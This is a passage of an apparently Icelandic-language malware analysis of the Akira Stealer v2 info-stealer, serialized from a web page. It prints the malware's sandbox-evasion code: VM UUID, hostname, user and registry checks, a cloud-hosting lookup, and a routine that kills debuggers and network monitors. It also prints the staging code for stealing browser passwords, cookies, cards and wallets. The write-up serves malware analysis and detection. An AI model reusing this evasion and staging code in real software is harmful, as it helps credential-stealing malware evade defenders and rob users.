PoolManager(cert_reqs=\"CERT_NONE\")\n",[1712,5369,5370],{"class":1714,"line":2102},[1712,5371,5164],{},[1712,5373,5374],{"class":1714,"line":2424},[1712,5375,5376],{},"        return http.request(\n",[1712,5378,5379],{"class":1714,"line":2430},[1712,5380,5381],{},"            'GET',\n",[1712,5383,5384],{"class":1714,"line":3086},[1712,5385,5386],{},"            'http://ip-api.com/line/?fields=hosting'\n",[1712,5388,5389],{"class":1714,"line":3881},[1712,5390,5391],{},"        ).data.decode().strip() == 'true'\n",[1712,5393,5394],{"class":1714,"line":3887},[1712,5395,5189],{},[1712,5397,5398],{"class":1714,"line":4132},[1712,5399,5400],{},"        return False\n",[525,5402,5403],{},"Þetta gerir malware-inu kleift að ákvarða hvort það keyri á innviðum í eigu Microsoft Azure, AWS, DigitalOcean og svo framvegis, sem er viðvörunarmerki um sandbox.",[888,5405,5407],{"id":5406},"_739-https-hermunarathugun-að-leita-að-ssl-hlerun","7.3.9 HTTPS-hermunarathugun – að leita að SSL-hlerun",[525,5409,894],{},[525,5411,5412,5413,5416],{},"Til að finna umhverfi með SSL-skoðun (algengt í fyrirtækja- og rannsóknarnetum) sendir malware-ið meinlausa HTTPS-beiðni á handahófskennt undirlén undir ",[578,5414,5415],{},".in",". Ef tengingin bregst, vegna DNS-síunar, hlerunarproxa eða þess að certificate pinning misheppnast, getur það verið merki um að malware-ið sé í greiningu.",[615,5418,5420],{"className":4516,"code":5419,"language":4518,"meta":529,"style":529},"@staticmethod\ndef checkHTTPSimulation() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n    except:\n        return False\n    return True\n",[578,5421,5422,5426,5431,5436,5440,5445,5449,5453],{"__ignoreMap":529},[1712,5423,5424],{"class":1714,"line":1715},[1712,5425,5001],{},[1712,5427,5428],{"class":1714,"line":530},[1712,5429,5430],{},"def checkHTTPSimulation() -> bool:\n",[1712,5432,5433],{"class":1714,"line":2096},[1712,5434,5435],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n",[1712,5437,5438],{"class":1714,"line":2102},[1712,5439,5164],{},[1712,5441,5442],{"class":1714,"line":2424},[1712,5443,5444],{},"        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n",[1712,5446,5447],{"class":1714,"line":2430},[1712,5448,5189],{},[1712,5450,5451],{"class":1714,"line":3086},[1712,5452,5400],{},[1712,5454,5455],{"class":1714,"line":3881},[1712,5456,5457],{},"    return True\n",[525,5459,5460],{},"Þessi fíngerða aðferð prófar heilleika netleiðarinnar án þess að kveikja á viðvörunum eða krefjast sérstakra innviða.",[888,5462,5464],{"id":5463},"_7310-athugun-á-registry-og-gpu-driverum-að-finna-signature-sýndar-gpu","7.3.10 Athugun á registry og GPU-driverum – að finna signature sýndar-GPU",[525,5466,894],{},[525,5468,5469,5470,5473],{},"Tiltekin sýndarumhverfi koma upp um sig með registry-lyklum eða lýsingum á GPU-driverum. Akira keyrir tvöfalda stefnu: það gerir fyrirspurnir í registry-færslur sem tengjast grafíkundirkerfinu og skoðar sérstaklega úttak ",[578,5471,5472],{},"wmic"," með tilliti til grunsamlegra GPU-strengja.",[615,5475,5477],{"className":4516,"code":5476,"language":4518,"meta":529,"style":529},"@staticmethod\ndef checkRegistry() -> bool:\n    r1 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n        capture_output=True, shell=True)\n    r2 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n        capture_output=True, shell=True)\n\n    # GPU name check\n    gpu_out = subprocess.run(\n        \"wmic path win32_VideoController get name\",\n        capture_output=True, shell=True).stdout.decode().splitlines()\n    gpucheck = any(x in gpu_out[2].lower()\n                   for x in (\"virtualbox\", \"vmware\"))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[578,5478,5479,5483,5488,5493,5498,5503,5508,5513,5517,5521,5526,5531,5536,5541,5546,5551],{"__ignoreMap":529},[1712,5480,5481],{"class":1714,"line":1715},[1712,5482,5001],{},[1712,5484,5485],{"class":1714,"line":530},[1712,5486,5487],{},"def checkRegistry() -> bool:\n",[1712,5489,5490],{"class":1714,"line":2096},[1712,5491,5492],{},"    r1 = subprocess.run(\n",[1712,5494,5495],{"class":1714,"line":2102},[1712,5496,5497],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n",[1712,5499,5500],{"class":1714,"line":2424},[1712,5501,5502],{},"        capture_output=True, shell=True)\n",[1712,5504,5505],{"class":1714,"line":2430},[1712,5506,5507],{},"    r2 = subprocess.run(\n",[1712,5509,5510],{"class":1714,"line":3086},[1712,5511,5512],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n",[1712,5514,5515],{"class":1714,"line":3881},[1712,5516,5502],{},[1712,5518,5519],{"class":1714,"line":3887},[1712,5520,3878],{"emptyLinePlaceholder":325},[1712,5522,5523],{"class":1714,"line":4132},[1712,5524,5525],{},"    # GPU name check\n",[1712,5527,5528],{"class":1714,"line":5049},[1712,5529,5530],{},"    gpu_out = subprocess.run(\n",[1712,5532,5533],{"class":1714,"line":5055},[1712,5534,5535],{},"        \"wmic path win32_VideoController get name\",\n",[1712,5537,5538],{"class":1714,"line":5061},[1712,5539,5540],{},"        capture_output=True, shell=True).stdout.decode().splitlines()\n",[1712,5542,5543],{"class":1714,"line":5067},[1712,5544,5545],{},"    gpucheck = any(x in gpu_out[2].lower()\n",[1712,5547,5548],{"class":1714,"line":5073},[1712,5549,5550],{},"                   for x in (\"virtualbox\", \"vmware\"))\n",[1712,5552,5553],{"class":1714,"line":5079},[1712,5554,5555],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[525,5557,5558],{},"Þessar athuganir á vélbúnaðarlaginu eru sérstaklega áhrifaríkar gegn uppsetningum greinenda sem hylja ef til vill ekki sýndarvædda skjástýringu að fullu.",[888,5560,5562],{"id":5561},"_7311-að-drepa-tasks-að-slá-greiningartól-út-í-rauntíma","7.3.11 Að drepa tasks – að slá greiningartól út í rauntíma",[525,5564,894],{},[525,5566,5567],{},"Í stað þess að komast hjá detection eingöngu með óvirkum hætti gengur Akira skrefi framar og stöðvar með virkum hætti þekkt greiningar- og aflúsunartól. Það ræsir bakgrunnsþráð sem fer í gegnum lista ferla og drepur hverja samsvörun sem það finnur.",[615,5569,5571],{"className":4516,"code":5570,"language":4518,"meta":529,"style":529},"@staticmethod\ndef killTasks() -> None:\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n\nBLACKLISTED_TASKS = (\n  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n  # ... dozens more ...\n  'glasswire','requestly'\n)\n",[578,5572,5573,5577,5582,5587,5591,5596,5601,5606,5611],{"__ignoreMap":529},[1712,5574,5575],{"class":1714,"line":1715},[1712,5576,5001],{},[1712,5578,5579],{"class":1714,"line":530},[1712,5580,5581],{},"def killTasks() -> None:\n",[1712,5583,5584],{"class":1714,"line":2096},[1712,5585,5586],{},"    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[1712,5588,5589],{"class":1714,"line":2102},[1712,5590,3878],{"emptyLinePlaceholder":325},[1712,5592,5593],{"class":1714,"line":2424},[1712,5594,5595],{},"BLACKLISTED_TASKS = (\n",[1712,5597,5598],{"class":1714,"line":2430},[1712,5599,5600],{},"  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n",[1712,5602,5603],{"class":1714,"line":3086},[1712,5604,5605],{},"  # ... dozens more ...\n",[1712,5607,5608],{"class":1714,"line":3881},[1712,5609,5610],{},"  'glasswire','requestly'\n",[1712,5612,5613],{"class":1714,"line":3887},[1712,5614,5268],{},[525,5616,5617],{},"Þessi tól, sem viðbragðsaðilar og malware-greinendur nota almennt, eru gerð óvirk áður en þau geta safnað marktækum hegðunar-artifacts.",[525,5619,5620],{},[567,5621,5622],{},"Samantekt",[525,5624,5625],{},"Akira notar fágað safn aðferða gegn greiningu sem beinast að mörgum lögum kerfisins, allt frá umhverfisbreytum og registry-lyklum til netprófana og ferlalista. Þessum búnaði er ætlað að finna og komast hjá bæði sjálfvirkum sandboxum og handvirkum skoðunaruppsetningum.",[525,5627,5628],{},"Samsetning óvirkrar fingrafaratöku og virkrar kúgunar (t.d. að drepa tasks) sýnir hvernig jafnvel malware-fjölskyldur í miðjum flokki samþætta nú evasion-rökvísi í mörgum lögum.",[888,5630,5632],{"id":5631},"_7312-fullir-svartlistar-og-detection-föll","7.3.12 Fullir svartlistar og detection-föll",[525,5634,894],{},[525,5636,5637],{},[567,5638,5639],{},"Svartlistuð vélbúnaðar-UUID",[615,5641,5644],{"className":5642,"code":5643,"language":620},[618],"BLACKLISTED_UUIDS = (\n    '7AB5C494-39F5-4941-9163-47F54D6D5016',\n    '032E02B4-0499-05C3-0806-3C0700080009',\n    '03DE0294-0480-05DE-1A06-350700080009',\n    '11111111-2222-3333-4444-555555555555',\n    '6F3CA5EC-BEC9-4A4D-8274-11168F640058',\n    'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',\n    '4C4C4544-0050-3710-8058-CAC04F59344A',\n    '00000000-0000-0000-0000-AC1F6BD04972',\n    '00000000-0000-0000-0000-000000000000',\n    '5BD24D56-789F-8468-7CDC-CAA7222CC121',\n    '49434D53-0200-9065-2500-65902500E439',\n    '49434D53-0200-9036-2500-36902500F022',\n    '777D84B3-88D1-451C-93E4-D235177420A7',\n    '49434D53-0200-9036-2500-369025000C65',\n    'B1112042-52E8-E25B-3655-6A4F54155DBF',\n    '00000000-0000-0000-0000-AC1F6BD048FE',\n    'EB16924B-FB6D-4FA1-8666-17B91F62FB37',\n    'A15A930C-8251-9645-AF63-E45AD728C20C',\n    '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',\n    'C7D23342-A5D4-68A1-59AC-CF40F735B363',\n    '63203342-0EB0-AA1A-4DF5-3FB37DBB0670',\n    '44B94D56-65AB-DC02-86A0-98143A7423BF',\n    '6608003F-ECE4-494E-B07E-1C4615D1D93C',\n    'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',\n    '49434D53-0200-9036-2500-369025003AF0',\n    '8B4E8278-525C-7343-B825-280AEBCD3BCB',\n    '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',\n    '79AF5279-16CF-4094-9758-F88A616D81B4',\n    'FE822042-A70C-D08B-F1D1-C207055A488F',\n    '76122042-C286-FA81-F0A8-514CC507B250',\n    '481E2042-A1AF-D390-CE06-A8F783B1E76A',\n    'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',\n    '9961A120-E691-4FFE-B67B-F0E4115D5919'\n)\n",[578,5645,5643],{"__ignoreMap":529},[525,5647,5648],{},[567,5649,5650],{},"Svartlistuð tölvuheiti",[615,5652,5655],{"className":5653,"code":5654,"language":620},[618],"BLACKLISTED_COMPUTERNAMES = (\n    '00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',\n    'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',\n    'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',\n    'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',\n    'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',\n    'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',\n    'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',\n    'desktop-vkeons4', 'NTT-EFF-2W11WSS'\n)\n",[578,5656,5654],{"__ignoreMap":529},[525,5658,5659],{},[567,5660,5661],{},"Svartlistaðir notandareikningar",[615,5663,5666],{"className":5664,"code":5665,"language":620},[618],"BLACKLISTED_USERS = (\n    'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',\n    'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',\n    'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',\n    'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',\n    'harry johnson', 'j.seance', 'a.monaldo', 'tvm'\n)\n",[578,5667,5665],{"__ignoreMap":529},[525,5669,5670],{},[567,5671,5672],{},"Svartlistuð ferli greiningartóla",[615,5674,5677],{"className":5675,"code":5676,"language":620},[618],"BLACKLISTED_TASKS = (\n    'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',\n    'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',\n    'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',\n    'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',\n    'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',\n    'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',\n    'discordtokenprotector', 'glasswire', 'requestly'\n)\n",[578,5678,5676],{"__ignoreMap":529},[525,5680,5681],{},[567,5682,5683],{},"Kjarnaaðferðir við detection",[615,5685,5687],{"className":4516,"code":5686,"language":4518,"meta":529,"style":529},"@staticmethod\ndef checkUUID() -> bool:\n    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\",\n            shell=True, capture_output=True\n        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n\n@staticmethod\ndef checkComputerName() -> bool:\n    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n\n@staticmethod\ndef checkUsers() -> bool:\n    \"\"\"Current login username in VM users list.\"\"\"\n    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n\n@staticmethod\ndef checkHosting() -> bool:\n    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET', 'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n\n@staticmethod\ndef checkHTTPSimulation() -> bool:\n    \"\"\"\n    Attempt TLS to random subdomain.\n    Failure → possible HTTPS interception/sandbox.\n    \"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n        return True\n    except:\n        return False\n\n@staticmethod\ndef checkRegistry() -> bool:\n    \"\"\"\n    Look for VirtualBox/VMware in:\n    - Registry driver entries\n    - Video card name via WMIC\n    - Presence of VM-specific folders\n    \"\"\"\n    r1 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n        shell=True, capture_output=True\n    )\n    r2 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n        shell=True, capture_output=True\n    )\n    gpu = any(\n        x.lower() in subprocess.run(\n            \"wmic path win32_VideoController get name\",\n            shell=True, capture_output=True\n        ).stdout.decode().splitlines()[2].lower()\n        for x in (\"virtualbox\", \"vmware\")\n    )\n    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n\n@staticmethod\ndef killTasks() -> None:\n    \"\"\"Continuously terminate known analysis processes.\"\"\"\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[578,5688,5689,5693,5697,5702,5706,5710,5715,5720,5725,5729,5733,5737,5741,5745,5749,5754,5759,5763,5767,5771,5776,5781,5785,5789,5793,5798,5803,5808,5813,5819,5824,5829,5834,5839,5844,5849,5855,5861,5867,5872,5877,5882,5887,5893,5898,5903,5908,5913,5918,5923,5929,5935,5941,5947,5952,5957,5963,5969,5975,5981,5986,5991,5997,6002,6007,6013,6019,6025,6030,6036,6042,6047,6053,6059,6064,6069,6074,6080],{"__ignoreMap":529},[1712,5690,5691],{"class":1714,"line":1715},[1712,5692,5001],{},[1712,5694,5695],{"class":1714,"line":530},[1712,5696,5159],{},[1712,5698,5699],{"class":1714,"line":2096},[1712,5700,5701],{},"    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n",[1712,5703,5704],{"class":1714,"line":2102},[1712,5705,5164],{},[1712,5707,5708],{"class":1714,"line":2424},[1712,5709,5169],{},[1712,5711,5712],{"class":1714,"line":2430},[1712,5713,5714],{},"            \"wmic csproduct get uuid\",\n",[1712,5716,5717],{"class":1714,"line":3086},[1712,5718,5719],{},"            shell=True, capture_output=True\n",[1712,5721,5722],{"class":1714,"line":3881},[1712,5723,5724],{},"        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n",[1712,5726,5727],{"class":1714,"line":3887},[1712,5728,5189],{},[1712,5730,5731],{"class":1714,"line":4132},[1712,5732,5194],{},[1712,5734,5735],{"class":1714,"line":5049},[1712,5736,5199],{},[1712,5738,5739],{"class":1714,"line":5055},[1712,5740,3878],{"emptyLinePlaceholder":325},[1712,5742,5743],{"class":1714,"line":5061},[1712,5744,5001],{},[1712,5746,5747],{"class":1714,"line":5067},[1712,5748,5229],{},[1712,5750,5751],{"class":1714,"line":5073},[1712,5752,5753],{},"    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n",[1712,5755,5756],{"class":1714,"line":5079},[1712,5757,5758],{},"    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1712,5760,5761],{"class":1714,"line":5085},[1712,5762,3878],{"emptyLinePlaceholder":325},[1712,5764,5765],{"class":1714,"line":5091},[1712,5766,5001],{},[1712,5768,5769],{"class":1714,"line":5097},[1712,5770,5294],{},[1712,5772,5773],{"class":1714,"line":5103},[1712,5774,5775],{},"    \"\"\"Current login username in VM users list.\"\"\"\n",[1712,5777,5778],{"class":1714,"line":5109},[1712,5779,5780],{},"    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n",[1712,5782,5783],{"class":1714,"line":5115},[1712,5784,3878],{"emptyLinePlaceholder":325},[1712,5786,5787],{"class":1714,"line":5121},[1712,5788,5001],{},[1712,5790,5791],{"class":1714,"line":5127},[1712,5792,5362],{},[1712,5794,5795],{"class":1714,"line":5133},[1712,5796,5797],{},"    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n",[1712,5799,5801],{"class":1714,"line":5800},26,[1712,5802,5367],{},[1712,5804,5806],{"class":1714,"line":5805},27,[1712,5807,5164],{},[1712,5809,5811],{"class":1714,"line":5810},28,[1712,5812,5376],{},[1712,5814,5816],{"class":1714,"line":5815},29,[1712,5817,5818],{},"            'GET', 'http://ip-api.com/line/?fields=hosting'\n",[1712,5820,5822],{"class":1714,"line":5821},30,[1712,5823,5391],{},[1712,5825,5827],{"class":1714,"line":5826},31,[1712,5828,5189],{},[1712,5830,5832],{"class":1714,"line":5831},32,[1712,5833,5400],{},[1712,5835,5837],{"class":1714,"line":5836},33,[1712,5838,3878],{"emptyLinePlaceholder":325},[1712,5840,5842],{"class":1714,"line":5841},34,[1712,5843,5001],{},[1712,5845,5847],{"class":1714,"line":5846},35,[1712,5848,5430],{},[1712,5850,5852],{"class":1714,"line":5851},36,[1712,5853,5854],{},"    \"\"\"\n",[1712,5856,5858],{"class":1714,"line":5857},37,[1712,5859,5860],{},"    Attempt TLS to random subdomain.\n",[1712,5862,5864],{"class":1714,"line":5863},38,[1712,5865,5866],{},"    Failure → possible HTTPS interception/sandbox.\n",[1712,5868,5870],{"class":1714,"line":5869},39,[1712,5871,5854],{},[1712,5873,5875],{"class":1714,"line":5874},40,[1712,5876,5435],{},[1712,5878,5880],{"class":1714,"line":5879},41,[1712,5881,5164],{},[1712,5883,5885],{"class":1714,"line":5884},42,[1712,5886,5444],{},[1712,5888,5890],{"class":1714,"line":5889},43,[1712,5891,5892],{},"        return True\n",[1712,5894,5896],{"class":1714,"line":5895},44,[1712,5897,5189],{},[1712,5899,5901],{"class":1714,"line":5900},45,[1712,5902,5400],{},[1712,5904,5906],{"class":1714,"line":5905},46,[1712,5907,3878],{"emptyLinePlaceholder":325},[1712,5909,5911],{"class":1714,"line":5910},47,[1712,5912,5001],{},[1712,5914,5916],{"class":1714,"line":5915},48,[1712,5917,5487],{},[1712,5919,5921],{"class":1714,"line":5920},49,[1712,5922,5854],{},[1712,5924,5926],{"class":1714,"line":5925},50,[1712,5927,5928],{},"    Look for VirtualBox/VMware in:\n",[1712,5930,5932],{"class":1714,"line":5931},51,[1712,5933,5934],{},"    - Registry driver entries\n",[1712,5936,5938],{"class":1714,"line":5937},52,[1712,5939,5940],{},"    - Video card name via WMIC\n",[1712,5942,5944],{"class":1714,"line":5943},53,[1712,5945,5946],{},"    - Presence of VM-specific folders\n",[1712,5948,5950],{"class":1714,"line":5949},54,[1712,5951,5854],{},[1712,5953,5955],{"class":1714,"line":5954},55,[1712,5956,5492],{},[1712,5958,5960],{"class":1714,"line":5959},56,[1712,5961,5962],{},"        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n",[1712,5964,5966],{"class":1714,"line":5965},57,[1712,5967,5968],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n",[1712,5970,5972],{"class":1714,"line":5971},58,[1712,5973,5974],{},"        shell=True, capture_output=True\n",[1712,5976,5978],{"class":1714,"line":5977},59,[1712,5979,5980],{},"    )\n",[1712,5982,5984],{"class":1714,"line":5983},60,[1712,5985,5507],{},[1712,5987,5989],{"class":1714,"line":5988},61,[1712,5990,5962],{},[1712,5992,5994],{"class":1714,"line":5993},62,[1712,5995,5996],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n",[1712,5998,6000],{"class":1714,"line":5999},63,[1712,6001,5974],{},[1712,6003,6005],{"class":1714,"line":6004},64,[1712,6006,5980],{},[1712,6008,6010],{"class":1714,"line":6009},65,[1712,6011,6012],{},"    gpu = any(\n",[1712,6014,6016],{"class":1714,"line":6015},66,[1712,6017,6018],{},"        x.lower() in subprocess.run(\n",[1712,6020,6022],{"class":1714,"line":6021},67,[1712,6023,6024],{},"            \"wmic path win32_VideoController get name\",\n",[1712,6026,6028],{"class":1714,"line":6027},68,[1712,6029,5719],{},[1712,6031,6033],{"class":1714,"line":6032},69,[1712,6034,6035],{},"        ).stdout.decode().splitlines()[2].lower()\n",[1712,6037,6039],{"class":1714,"line":6038},70,[1712,6040,6041],{},"        for x in (\"virtualbox\", \"vmware\")\n",[1712,6043,6045],{"class":1714,"line":6044},71,[1712,6046,5980],{},[1712,6048,6050],{"class":1714,"line":6049},72,[1712,6051,6052],{},"    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n",[1712,6054,6056],{"class":1714,"line":6055},73,[1712,6057,6058],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n",[1712,6060,6062],{"class":1714,"line":6061},74,[1712,6063,3878],{"emptyLinePlaceholder":325},[1712,6065,6067],{"class":1714,"line":6066},75,[1712,6068,5001],{},[1712,6070,6072],{"class":1714,"line":6071},76,[1712,6073,5581],{},[1712,6075,6077],{"class":1714,"line":6076},77,[1712,6078,6079],{},"    \"\"\"Continuously terminate known analysis processes.\"\"\"\n",[1712,6081,6083],{"class":1714,"line":6082},78,[1712,6084,5586],{},[888,6086,6088],{"id":6087},"_7313-rökvísi-keyrslu-og-stöðvunar","7.3.13 Rökvísi keyrslu og stöðvunar",[525,6090,894],{},[2110,6092,6093,6106,6119],{},[633,6094,6095,2061,6098,6101,6102,6105],{},[567,6096,6097],{},"Frumstilling:",[578,6099,6100],{},"Akira.__init__()","-smiðnum kallar malware-ið samstundis á ",[578,6103,6104],{},"VmProtect.isVM(1)"," til að framkvæma hraðar sýndarvæðingarathuganir með lítinn tilkostnað (t.d. hostname, notanda, HTTPS-hermun).",[633,6107,6108,6111,6112,6115,6116,6118],{},[567,6109,6110],{},"Djúpskoðun:"," ef fyrsta prófið gengur upp kallar það á ",[578,6113,6114],{},"VmProtect.isVM(2)",", sem kveikir á heildstæðari athugunum, þar á meðal staðfestingu á vélbúnaðar-UUID, detection á hýsingu í gegnum ",[578,6117,5347],{}," og skönnun á registry-artifacts.",[633,6120,6121,6124,6125,6127,6128,6130],{},[567,6122,6123],{},"Stöðvunarleið:"," ef einhver athugun skilar ",[578,6126,4692],{},", sem gefur sýndar- eða greiningarumhverfi til kynna, keyrir kóðinn ",[578,6129,4696],{}," og stöðvar keyrsluna áður en nokkrar rútínur til gagnasöfnunar eða exfiltration fara í gang.",[888,6132,6134],{"id":6133},"_7314-niðurstaða","7.3.14 Niðurstaða",[525,6136,894],{},[525,6138,6139,6141,6142,6144],{},[578,6140,4640],{},"-einingin í ",[4653,6143,677],{}," sýnir lagskipta vörn gegn greiningu sem nýtir bæði fingraför staðbundna kerfisins og netbyggða heuristík. Með því að skilja þessar nákvæmu athuganir og mæla þær geta þeir sem verjast snúið taflinu við og greint slíkt evasivt malware í raunumhverfum.",[740,6146,6148],{"id":6147},"_74-exfiltration-browsergagna","7.4 Exfiltration browsergagna",[525,6150,746],{},[525,6152,6153,6154,585,6157,6160],{},"Eitt af kjarnamarkmiðum Akira Stealer v2 er umfangsmikill útdráttur viðkvæmra gagna sem browserinn hefur vistað. Malware-ið hefur sérsniðnar einingar sem beinast bæði að ",[567,6155,6156],{},"Chromium-byggðum",[567,6158,6159],{},"Gecko-byggðum (Firefox)"," browsers. Geta þess nær til útdráttar og afkóðunar á vistuðum lykilorðum, cookies, kreditkortagögnum, sjálfvirkum útfyllingarfærslum og jafnvel setutokens sem má nota til að yfirtaka reikninga að fullu.",[525,6162,6163],{},[567,6164,6165],{},"1. Uppsetning vinnusvæðis",[615,6167,6169],{"className":4516,"code":6168,"language":4518,"meta":529,"style":529},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\nos.makedirs(client_dir, exist_ok=True)\nfor sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[578,6170,6171,6176,6181,6186],{"__ignoreMap":529},[1712,6172,6173],{"class":1714,"line":1715},[1712,6174,6175],{},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\n",[1712,6177,6178],{"class":1714,"line":530},[1712,6179,6180],{},"os.makedirs(client_dir, exist_ok=True)\n",[1712,6182,6183],{"class":1714,"line":2096},[1712,6184,6185],{},"for sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n",[1712,6187,6188],{"class":1714,"line":2102},[1712,6189,6190],{},"    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[630,6192,6193,6200,6203,6206,6209],{},[633,6194,6195,6196],{},"Búið er til einnota staging-svæði undir tímabundnu möppu kerfisins, nefnt eftir vél fórnarlambsins (%TEMP%\\DESKTOP-",[6197,6198,6199],"hostname",{},"), sem tryggir að allir exfiltreraðir artifacts safnist á einn stað sem auðvelt er að pakka.",[633,6201,6202],{},"Gögn eru einangruð eftir tegund: sex sérstakar undirmöppur (Passwords, Cookies, CreditCards, History, Autofill, Wallets) koma í veg fyrir nafnaárekstra og einfalda pökkun síðar, því hver útdráttarrútína skrifar aðeins í sína eigin möppu.",[633,6204,6205],{},"Möppur eru búnar til á sjálfvirkan óskaðlegan hátt með exist_ok=True, svo ef malware-ið keyrir aftur (t.d. við endurræsingu eða persistence) hrynur það ekki og skrifar ekki yfir gögn sem þegar eru til, ný atriði leggjast einfaldlega við sömu uppbyggingu.",[633,6207,6208],{},"Það greiðir fyrir valkvæmri tiltekt: þegar upphali og tilkynningu er lokið getur stealerinn kallað á Utils.clear_client_folder() til að eyða endurkvæmt aðeins sínu eigin vinnusvæði og skilja engar skrár eftir.",[633,6210,6211],{},"Það leggur grunninn að samhliða útdráttarþráðum: með því að búa öll markmið til fyrirfram geta bakgrunnsþræðir sem safna browser-credentials, cookies, sjálfvirkum útfyllingum, kryptóveskjagögnum og öðru skrifað niðurstöður samstundis án frekari athugana, sem lágmarkar tilkostnað og minnkar þann glugga sem varnarhookar hafa til að greina óvænta skráa-I/O.",[525,6213,6214],{},[567,6215,6216],{},"2. Studdir browsers",[630,6218,6219,6262],{},[633,6220,6221,6224],{},[567,6222,6223],{},"Chromium‑byggðir",[630,6225,6226,6229,6232,6235,6238,6241,6244,6247,6250,6253,6256,6259],{},[633,6227,6228],{},"Google Chrome (Stable & SxS)",[633,6230,6231],{},"Microsoft Edge",[633,6233,6234],{},"Brave Browser",[633,6236,6237],{},"Opera & Opera GX",[633,6239,6240],{},"Chromium",[633,6242,6243],{},"Comodo Dragon",[633,6245,6246],{},"Epic Privacy Browser",[633,6248,6249],{},"Iridium Browser",[633,6251,6252],{},"UR 